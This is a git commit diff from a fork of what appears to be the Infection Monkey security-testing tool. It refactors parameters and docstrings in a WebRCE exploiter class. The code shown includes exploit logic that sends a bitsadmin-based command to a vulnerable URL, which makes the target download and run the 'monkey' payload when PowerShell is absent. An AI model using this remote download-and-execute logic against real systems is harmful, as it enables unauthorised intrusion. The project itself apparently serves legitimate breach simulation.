forked from p15670423/monkey
Minor changes in run_backup_commands
This commit is contained in:
parent
592dd27d91
commit
87b0afae88
|
@ -201,8 +201,8 @@ class WebRCE(HostExploiter):
|
||||||
"""
|
"""
|
||||||
Gets vulnerable url(s) from url list
|
Gets vulnerable url(s) from url list
|
||||||
:param urls: Potentially vulnerable urls
|
:param urls: Potentially vulnerable urls
|
||||||
:param stop_checking:
|
:param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
|
||||||
:return:
|
:return: None (we append to class variable vulnerable_urls)
|
||||||
"""
|
"""
|
||||||
for url in urls:
|
for url in urls:
|
||||||
if self.check_if_exploitable(url):
|
if self.check_if_exploitable(url):
|
||||||
|
@ -294,18 +294,18 @@ class WebRCE(HostExploiter):
|
||||||
self.host.os['machine'] = arch
|
self.host.os['machine'] = arch
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def run_backup_commands(self, resp, url, paths, http_path):
|
def run_backup_commands(self, resp, url, dest_path, http_path):
|
||||||
"""
|
"""
|
||||||
If you need multiple commands for the same os you can override this method to add backup commands
|
If you need multiple commands for the same os you can override this method to add backup commands
|
||||||
:param resp: Response from base command
|
:param resp: Response from base command
|
||||||
:param url: Vulnerable url
|
:param url: Vulnerable url
|
||||||
:param paths: Where to upload monkey
|
:param dest_path: Where to upload monkey
|
||||||
:param http_path: Where to download monkey from
|
:param http_path: Where to download monkey from
|
||||||
:return: Command's response (same response if backup command is not needed)
|
:return: Command's response (same response if backup command is not needed)
|
||||||
"""
|
"""
|
||||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': paths['dest_path'], 'http_path': http_path}
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||||
resp = self.exploit(url, backup_command)
|
resp = self.exploit(url, backup_command)
|
||||||
return resp
|
return resp
|
||||||
|
|
||||||
|
@ -336,7 +336,7 @@ class WebRCE(HostExploiter):
|
||||||
|
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
|
|
||||||
resp = self.run_backup_commands(resp, url, paths, http_path)
|
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
|
|
Loading…
Reference in New Issue